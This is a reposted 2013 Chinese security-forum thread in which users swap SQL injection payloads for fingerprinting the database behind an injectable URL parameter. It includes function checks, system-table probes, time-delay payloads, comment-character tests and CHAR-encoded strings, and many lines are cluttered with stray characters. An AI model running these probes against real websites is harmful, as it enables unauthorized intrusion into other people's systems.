找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2026|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
7 o2 j* ^" j% s6 s2 Dxsser (十根阳具有长短!!) | 2013-02-05 12:36
% B# o0 D( \( y# Q假设这么一个注射点:3 K, h$ b3 @4 D! r% J$ Q8 J9 H
show.html?id=2
2 c. {9 ]  j; f8 k' V$ V8 n, nmysql:id=2 and version()>0! J, f! P9 N) v- |7 l( b
oracle:id=2 and '1'||'1'='11' L, f! t" Y: \1 G
其他的欢迎补充
) G6 h. H. z- {1#( m, q7 `; O: i2 {! i
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47. e, c. r4 T( X! \9 \4 O' l6 L
Access:8 I+ P" Z. f+ z. C7 R
aNd aSc(cHr(97))=97! ~# r8 h" ~* A7 E, U- g5 K6 k
and exists(select id from MSysAccessObjects). p/ w' v& n# y, k! @; m
SQL Server:/ u2 u0 D( ?6 ^
and exists(select id from sysobjects)* f1 U4 J7 |0 \* F3 D( N; {  ?
and length(user)>08 E4 e/ q5 {+ k
MySQL:) q7 f( R  N, k% J% }5 P* V
and length(user())>0
9 M( u! c; \) u- ^% n+ L. B2#
* S- q1 F8 k8 F/ T& K2 y/ o/ m8 Gxsser (十根阳具有长短!!) | 2013-02-05 12:48
. s3 E2 X- h9 F9 h9 h@upload 如果这些都不是呢…5 s7 t# h0 k9 {  R
3#
' \6 U) v8 ]! m6 Z- c' F9 ~upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
9 \  h# j* }& J7 E3 }' P% Z# P@xsser 不快速的,延时注入
/ T. k: y; d2 U( H+ g8 J不知道这样写对不对
$ Q, k4 E2 U3 I$ X. pmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'; I* c. \; j$ \. F1 Y7 r$ b7 l- |5 X, a
mysql:id=2 and select benchmark(1e8,current_date());9 Y8 b( S. E$ C% E# X
4#
" o. |# ^; f: Qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
+ i% f5 Z; r5 \" U最快的貌似是看报错信息
, W  _: T, z& x! u( A- W5 goracle error; y4 R7 ~: f) |) n# i. @  ]3 C/ c
mssql error
9 O! X" A2 c  h. u' r( d( s) d2 Dmysql error
' S+ [+ L, C' _5 t5#8 S- f) n, C, p
Nimda (你们都是坏银~) | 2013-02-05 13:148 s3 h8 b- m4 P* i5 L6 Q0 O0 E. Q8 ]
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
7 }8 y. I9 j1 @0 A; U# |& o# X6#
; a7 g! v: f- r3 S3 F0 }upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21% V" y8 O! b6 [" a  [8 t
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:  Q2 [& u, O$ Y5 m& {
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
! k7 V1 r" b1 Y' q“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。6 f- s" r" b) u2 w8 u$ r
7#; i& c4 N1 V- J; w) y
_Evil (HackEnd) | 2013-02-05 13:33* X9 b, z5 q% v- ^
PostgreSQL
3 _6 z" Z7 V  {& _; W; p5 m: g8#
% v8 C% i+ S8 P2 U( r2 r3 O/ l1 W" |upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42- o; O' h, |. p. m
切换编码 and 1=1
. d" X2 z; c1 M) A: h* h1 X& Z& ?oracle:( F- r+ o" t9 d  |4 x
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
  N- v6 g8 p5 g2 x9 W$ Imssql:% r3 o/ T  ^: y7 T% @* m+ ]: p3 Y7 b
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49); s! ~% v6 T  J' Q6 |# y) [
mysql:
8 l* G: ~& }+ l4 @CHAR(97, 110, 100, 32, 49, 61, 49)
' L; h3 A% }3 M1 P+ U9#4 _# P. U+ ]* m$ W8 c8 T
xsser (十根阳具有长短!!) | 2013-02-05 14:311 w: p& Y9 ^# y% P% W' _0 a) n
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?9 `$ N" _) y" D! u) X
10#6 y7 v" i7 o. a
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:465 E( F. O# s) [4 N9 ^3 y
@xsser 是奇葩数据库类型的么?
3 u1 ^5 U1 U) z& x7 W根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:* V0 y6 k! Z: `/ G: I
1.是否可以使用特定的函数来判断,该数据库特有的
; M+ P1 `6 m1 ^( q* _2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等0 @+ w  q5 N& g" t
3.是否可以编码查询
( k$ M0 a& J+ P: U4.是否显可以利用错信息
, k+ v' F: Q% [# |& J) ?5.是否存在数据库某些特性辅助判断
: _4 M% }) R% S- u, s# S( s个人见解% D  F8 n, \. j
11#3 S$ K, t& i" y  U- [' t! }8 A7 E
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
" b! l2 R4 B" t8 C已收藏,mssql可以直接看到错误提示的吧~
3 O* W7 P% p9 x- _& t2 ]/ \12#' g1 E" \9 J7 |0 m2 {$ Y
Passer_by | 2013-02-05 15:09
  P- C7 a8 C6 P& G( Y) ~: G曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
# x( q3 T% {0 x8 a( _from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表